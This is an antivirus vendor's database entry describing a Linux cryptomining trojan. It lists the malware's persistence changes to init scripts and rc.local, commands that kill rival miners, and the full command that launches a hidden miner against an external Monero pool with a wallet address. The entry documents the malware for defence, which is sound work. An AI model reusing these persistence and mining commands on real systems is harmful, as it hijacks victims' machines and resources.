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Linux.Packed.211

Added to the Dr.Web virus database: 2018-11-04

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/init.d/<SAMPLE>
  • /etc/init.d/.depend.boot
  • /etc/init.d/.depend.start
  • /etc/init.d/.depend.stop
  • /etc/rc.local
Creates or modifies the following symlinks:
  • /etc/rc0.d/K02exim4
  • /etc/rc0.d/K08umountfs
  • /etc/rc0.d/K05umountnfs.sh
  • /etc/rc0.d/K03sendsigs
  • /etc/rc0.d/K04rsyslog
  • /etc/rc0.d/K07networking
  • /etc/rc0.d/K07hwclock.sh
  • /etc/rc0.d/K06rpcbind
  • /etc/rc0.d/K10halt
  • /etc/rc0.d/K09umountroot
  • /etc/rc0.d/K06nfs-common
  • /etc/rc0.d/K01<SAMPLE>
  • /etc/rc1.d/K02exim4
  • /etc/rc1.d/K04rsyslog
  • /etc/rc1.d/K06rpcbind
  • /etc/rc1.d/K06nfs-common
  • /etc/rc1.d/K01<SAMPLE>
  • /etc/rc2.d/S02<SAMPLE>
  • /etc/rc3.d/S02<SAMPLE>
  • /etc/rc4.d/S02<SAMPLE>
  • /etc/rc5.d/S02<SAMPLE>
  • /etc/rc6.d/K02exim4
  • /etc/rc6.d/K08umountfs
  • /etc/rc6.d/K05umountnfs.sh
  • /etc/rc6.d/K03sendsigs
  • /etc/rc6.d/K04rsyslog
  • /etc/rc6.d/K07networking
  • /etc/rc6.d/K07hwclock.sh
  • /etc/rc6.d/K06rpcbind
  • /etc/rc6.d/K09umountroot
  • /etc/rc6.d/K10reboot
  • /etc/rc6.d/K06nfs-common
  • /etc/rc6.d/K01<SAMPLE>
Malicious functions:
Launches itself as a daemon
Manages services:
  • update-rc.d <SAMPLE> defaults 95
  • systemctl daemon-reload
Launches processes:
  • sh -c touch -r /bin/sh /etc/init.d/<SAMPLE>
  • touch -r /bin/sh /etc/init.d/<SAMPLE>
  • sh -c chmod 777 /etc/init.d/<SAMPLE>
  • chmod 777 /etc/init.d/<SAMPLE>
  • sh -c chkconfig --add <SAMPLE>
  • sh -c chkconfig <SAMPLE> no
  • sh -c update-rc.d <SAMPLE> defaults 95
  • /sbin/insserv <SAMPLE>
  • sh -c sed -i -e '/exit/d' /etc/rc.local
  • sed -i -e /exit/d /etc/rc.local
  • sh -c sed -i -e '/
  • sed -i -e /
  • sh -c sed -i -e '//<SAMPLE> reboot/d' /etc/rc.local
  • sed -i -e //<SAMPLE> reboot/d /etc/rc.local
  • sh -c sed -i -e '2 i//<SAMPLE> reboot' /etc/rc.local
  • sed -i -e 2 i//<SAMPLE> reboot /etc/rc.local
  • sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/rc.d/rc.local
  • sed -i -e 2 i//<SAMPLE> reboot start /etc/rc.d/rc.local
  • sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/init.d/boot.local
  • sed -i -e 2 i//<SAMPLE> reboot start /etc/init.d/boot.local
  • sh -c pkill -f xmrig
  • pkill -f xmrig
  • sh -c pkill -f mine
  • pkill -f mine
  • sh -c pkill -f xmr
  • pkill -f xmr
  • sh -c pkill -f xmr.exe
  • pkill -f xmr.exe
  • sh -c pkill -f this
  • pkill -f this
  • sh -c pkill -f
  • pkill -f
  • sh -c ps auxf|grep -v grep|grep 3333|awk '{print $2}'|xargs kill -9
  • ps auxf
  • grep -v grep
  • grep 3333
  • awk {print $2}
  • xargs kill -9
  • kill -9
  • sh -c ps auxf|grep -v grep|grep xmr|awk '{print $2}'|xargs kill -9
  • grep xmr
  • sh -c ps auxf|grep -v grep|grep mine|awk '{print $2}'|xargs kill -9
  • grep mine
  • sh -c ps auxf|grep -v grep|grep pool|awk '{print $2}'|xargs kill -9
  • grep pool
  • sh -c ps auxf|grep -v grep|grep 4444|awk '{print $2}'|xargs kill -9
  • grep 4444
  • sh -c ps auxf|grep -v grep|grep 1444|awk '{print $2}'|xargs kill -9
  • grep 1444
  • sh -c ps auxf|grep -v grep|grep 5555|awk '{print $2}'|xargs kill -9
  • grep 5555
  • sh -c ps auxf|grep -v grep|grep -p x|awk '{print $2}'|xargs kill -9
  • grep -p x
  • sh -c ./tmp/.inita -B -o stratum+tcp://xmr.1mh.net:1010 -u 44PerizfK2bSh4LpMXqkYwiCRnqRUFZrpQCYrLCnXJ6DTzVFjdQYpvABM1kVG1Euo59cZx5hUvgHuTDojiqodPeFDYaq5RT -p x -k --donate-level=1
  • ./tmp/.inita -B -o stratum+tcp://xmr.1mh.net:1010 -u 44PerizfK2bSh4LpMXqkYwiCRnqRUFZrpQCYrLCnXJ6DTzVFjdQYpvABM1kVG1Euo59cZx5hUvgHuTDojiqodPeFDYaq5RT -p x -k --donate-level=1
  • sh -c ps -ef|grep .inita
  • ps -ef
  • grep .inita
Kills the following processes:
  • /bin/sh
Performs operations with the file system:
Modifies file access rights:
  • /etc/init.d/<SAMPLE>
  • /etc/sedYYlOW7
  • /etc/sedrmvryt
Creates or modifies files:
  • /etc/resolv.conf
  • /etc/sedYYlOW7
  • /etc/sedrmvryt
  • /tmp/.inita
Deletes files:
  • /etc/rc0.d/K01exim4
  • /etc/rc0.d/K07umountfs
  • /etc/rc0.d/K04umountnfs.sh
  • /etc/rc0.d/K02sendsigs
  • /etc/rc0.d/K03rsyslog
  • /etc/rc0.d/K06networking
  • /etc/rc0.d/K06hwclock.sh
  • /etc/rc0.d/K05rpcbind
  • /etc/rc0.d/K09halt
  • /etc/rc0.d/K08umountroot
  • /etc/rc0.d/K05nfs-common
  • /etc/rc1.d/K01exim4
  • /etc/rc1.d/K03rsyslog
  • /etc/rc1.d/K05rpcbind
  • /etc/rc1.d/K05nfs-common
  • /etc/rc6.d/K01exim4
  • /etc/rc6.d/K07umountfs
  • /etc/rc6.d/K04umountnfs.sh
  • /etc/rc6.d/K02sendsigs
  • /etc/rc6.d/K03rsyslog
  • /etc/rc6.d/K06networking
  • /etc/rc6.d/K06hwclock.sh
  • /etc/rc6.d/K05rpcbind
  • /etc/rc6.d/K08umountroot
  • /etc/rc6.d/K09reboot
  • /etc/rc6.d/K05nfs-common
  • /bin/wipefs
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
DNS ASK:
  • xm#.1mh.net
Other:
Collects CPU information
Collects RAM information
Collects information about network activity

Curing recommendations


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